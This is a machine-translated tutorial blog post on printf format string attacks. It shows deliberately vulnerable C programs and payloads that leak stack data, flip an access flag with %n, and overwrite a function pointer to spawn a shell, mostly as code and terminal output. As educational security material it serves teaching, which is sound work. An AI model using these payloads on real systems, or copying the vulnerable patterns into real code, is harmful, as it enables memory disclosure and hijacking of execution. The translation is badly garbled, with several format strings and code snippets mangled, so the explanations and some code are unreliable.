Developers Club geek daily blog

1 year, 7 months ago
Printf Oriented Programming

Intro


To the surprise did not find articles on Habré on this subject and this article I would like to improve a situation. In it I will try to tell most intelligibly from attacking about Format String Attacks, however with some simplifications. In practice they are rather just permitted, but not really there are a wish to go in cycles in them. Besides, the most resistant, dolistavshy up to the end, in addition to invaluable knowledge the small bonus waits.

Why it in general is necessary?


Like other vulnerabilities, Format String Attacks are necessary to get illegal access to the program and to do with it everything that will want. One of important features of this vulnerability — indifference to additional measures of protection like w^x and ASLR. And the most important it allows to bypass also rather new protection of CFI.

Let's start?


As always it seemed to me to understand best of all the events on examples therefore without wasting words at once to a code.

#include <stdio.h>

void f(char *str) {
    char *secret_data = "My Awesome Key";
    printf(str);
}

int main(int argc, char **argv) {
    f(argv[1]);
    return 0;
}

For those who forgot about printf
The printf functions () - like work approximately as follows:

  • To display a line
  • To replace the special characters beginning with %
  • To return quantity of successfully displayed characters


What can we make with it? Let's collect our code and we will start. Let's work hereinafter with x86-32.

$ cc -m32 format_vuln.c -o format_vuln
$ ./format_vuln %d
47

Interestingly, from where 47 undertook? We asked to display "%d". Actually function was written on C. As there is no overload of operators there, does not know how many to it arguments it was given therefore she is guided by the first argument which parsit a line and with each % takes away the next argument from a stack.

From where after all 47?
The matter is that for value performance on a stack are not nullified. Selection/release of memory happens by reduction/increase in the corresponding pointer on a stack. So 47 — simply some any number of some collateral calculations

Having a little played it is possible to receive a treasured key.

$ ./format_vuln %d.%d.%d.%d.%d.%d.%s
47.-145670960.-143695128.32768.-143929344.-143936984.My Awesome Key

Why 6%d?


Let's look at the disassembled listing of function f by means of objdump:

080483fb <f>:
 80483fb:   55                      push   ebp
 80483fc:   89 e5                   mov    ebp,esp
 80483fe:   83 ec 18                sub    esp,0x18
 8048401:   c7 45 f4 d0 84 04 08    mov    DWORD PTR [ebp-0xc],0x80484d0
 8048408:   83 ec 0c                sub    esp,0xc
 804840b:   ff 75 08                push   DWORD PTR [ebp+0x8]
 804840e:   e8 bd fe ff ff          call   80482d0 <printf@plt>
 8048413:   83 c4 10                add    esp,0x10
 8048416:   90                      nop
 8048417:   c9                      leave
 8048418:   c3                      ret

To the address 0x80484d0 our key is stored and he registers in a stack to the address ebp-0xc. Our first argument lies to the address ebp+0x8.

According to the instruction of sub esp, 0x ** the right place on a stack is selected. And superfluous is selected obviously a lot of. This data smoothing (padding) also becomes it automatically compilers, for performance.

Total if to look on a stack before printf challenge at that it becomes clear from where these 6%d.

Printf Oriented Programming

Unpopular features of printf


In addition to potential data leakage of printf has also other interesting potential.

  • The appeal to n-ohm to argument, for example printf challenge (" %3%1$d $d $d %2", 1, 2, 3) will bring "3, 1, 2"
  • Determination of length for an argument output, for example printf challenge (".*s %", 4, "Hello!") will display "Hell"
  • Record in the transferred pointer quantity of successfully displayed characters with the help of %n

For example, having the following code:

#include <stdio.h>

int main() {
    int i, j;
    printf("Hello%2$n, world!%1$n\n", &i;, &j;);
    printf("%d %*d", i, 3, j);
    return 0;
}

let's receive such output:

$ cc -m32 printfwrite.c -oprintfwrite
$ ./printfwrite
Hello, world!
13   5

This functionality opens new opportunities for operation. Let's change a little our old code and we will look what with it can be made.

#include <stdio.h>
#include <stdlib.h>

void f(char *str, int acc) {
    int *access = &acc;
    printf(str);
    if (*access) {
        puts("Secret information revealed!");
    }
}

int main(int argc, char **argv) {
    char *usr = getenv("USER");
    if(usr==NULL) return EXIT_FAILURE;
    f(argv[1], usr == "kitsu");
    return 0;
}

$ cc -m32 printfacccess.c -m32 -o printfacccess
$ ./printfacccess %d.%d.%d.%d.%d.%d.%n
-4922064.2.4.-4922088.-143168832.-145108519.Secret information revealed!

But what, if number which we need to write very big? For example function address. The first that comes to mind to give a line of the corresponding sizes. Let's tell we have an address of a shellkod and there is a management over printf what to do to us?

#include <stdio.h>
#include <stdlib.h>

typedef void(*fptr)();

void routine() {
    /* do something useful */
    puts("Routine done.");
}

void shell() {
    execve("/bin/bash", 0, 0);
}

void f(char *str, fptr p) {
    fptr ptr = p;
    printf(str);
    ptr();
}

int main(int argc, char **argv) {
    f(argv[1], routine);
    return 0;
}

The interesting shell address after compilation — 0x80484d4. Let's display so many time any character, and then we will rewrite the pointer on function.

$ cc -m32 printfshell.c -oprintfshell
$ ./printfshell `python -c 'print("0"*0x80484d4 + "%n")'`
bash: ./printfshell: Argument list too long

Alas, I speak in a deep voice this invention pleased not really. But we can achieve similar effect by means of already mentioned possibility of width of an output, and after that similarly write quantity by means of %n.

$ ./printfshell `python -c 'print("%1$134513876.0X%7$n")'` >out
$ echo "$$"
$ exit
exit
$ echo "$$"
3899
$ tail -c 4 out 
3920

And now let's in more detail understand that for miracles occurred here. Here we started our program and from it was started new instans a shell necessary to us.

And what after all "%1 $134513876.0 X%7 of $n" means?


It represents two performing characters of "%1 $134513876.0 X" and "$n %7".

%1 $134513876.0 X — an output to stdout of the first transferred argument, with long fields 134513876 (it is also the address of our shellkod). What there will be displayed does not matter, the main thing — quantity of characters.

$n %7 — are executed by record in the 7th argument. He just writes that quantity of characters which we displayed, i.e. the address of a shellkod.

In the conclusion


As you could already notice, printf () - like of function possess enormous power. Moreover absolute because as there were they and still tyyuring-complete, so potentially may contain everything that will be necessary for the hacker.

How? It is reached rather long and difficult a posledovatelnotyama with which you can be played here. They made compilation of brainfuck of a code in sequence format-string. There are examples like Fibonacci's numbers, 99 bottles of beer and a lot of things still interesting.

This article is a translation of the original post at habrahabr.ru/post/274329/
If you have any questions regarding the material covered in the article above, please, contact the original author of the post.
If you have any complaints about this article or you want this article to be deleted, please, drop an email here: sysmagazine.com@gmail.com.

We believe that the knowledge, which is available at the most popular Russian IT blog habrahabr.ru, should be accessed by everyone, even though it is poorly translated.
Shared knowledge makes the world better.
Best wishes.

comments powered by Disqus